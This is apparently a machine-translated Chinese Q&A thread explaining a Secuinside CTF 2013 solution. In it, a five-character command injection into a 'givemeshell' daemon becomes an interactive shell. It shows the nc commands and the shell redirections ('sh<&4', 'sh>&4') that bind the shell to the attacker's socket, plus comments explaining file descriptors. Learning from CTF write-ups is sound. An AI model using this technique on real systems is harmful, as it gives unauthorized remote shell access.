问题 “黑客”一种方式到5个字符的远程shell [关闭]


本周末,CTF战争正在进行,Secuinside CTF 2013( http://war.secuinside.com/ )

作为一名计算机安全人员,我看了看CTF结束后的挑战和解决方案。

其中一个挑战是 在服务器上获取远程shell鉴于此服务器上正在运行名为“givemeshell”的守护进程。该守护进程所做的是在所选端口上保持套接字打开,假设端口为12345。

当套接字收到一些东西时,守护进程接受了 前5个字符 并在shell中启动它们。

例如,如果我发送 cat file,守护进程将启动该命令 cat f 在一个壳里。 没有回复,所以我无法知道命令的结果。

目标是读取文件 包含国旗。

现在,有人给了我这个解决方案:

$ nc 1.2.3.4 12345
4<>a

$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_

我测试了这个解决方案并且它有效。但是在花了几个小时试图理解它之后,我仍然无法弄清楚它的作用以及它的工作原理。我明白这是关于重定向的东西......

有人可以向我解释一下吗?谢谢!


12656
2018-05-27 12:25


起源

尝试 security.stackexchange.com - sed
是的,我考虑在那里发帖,但我认为这个问题更多的是关于shell编程而不是安全性。 - J.-B. C.


答案:


4是您的连接的文件描述符。

0是程序stdin,1是程序stdout,2是程序stderr,当你创建一个侦听连接的套接字时,它被分配给3,当它接受你的连接时,创建了一个新的4号文件描述符处理这个连接。

4是您与后门的连接的文件描述符的ID,假设您是第一个连接的。

然后输入 sh<&4。它打开了 sh 并告诉它应该直接从您的连接获得所有输入。

现在你已经完全控制了shell,因为 sh 接管,你发送的每个命令都由它直接解释。但你仍然看不到任何输出!

然后你输入 sh>&4 打开一个新的水平 sh 在另一个内部说它应该将所有输出推送到您的文件描述符。诀窍完成了!双向沟通。


9
2018-05-27 14:13



假设它们可用,就不会运行 vim, nano, 要么emacs (或其他人),然后使用程序内置文件打开功能打开 flag 做同样的事情,但是以更加直截了当的方式? - Kitsune
如果您限制为5个字符且无法看到任何输出,则不会。 - Havenard
是 4<>a 解决方案的一部分,还是只是一个提示? - arnaud576875
显然地 4<>a 没有用,你可以获得一个没有发送该命令的shell。我不知道为什么它是给我的解决方案的一部分。在法典信托基金期间,这并不是一个暗示。 - J.-B. C.
@ arnaud576875 4<>a 可能需要创建文件描述符,然后才能从中读取 <&4,否则您可能会收到“错误的文件描述符”错误消息。 4<>a 基本上创建文件描述符4,它从文件读取和写入 a。 - Gumbo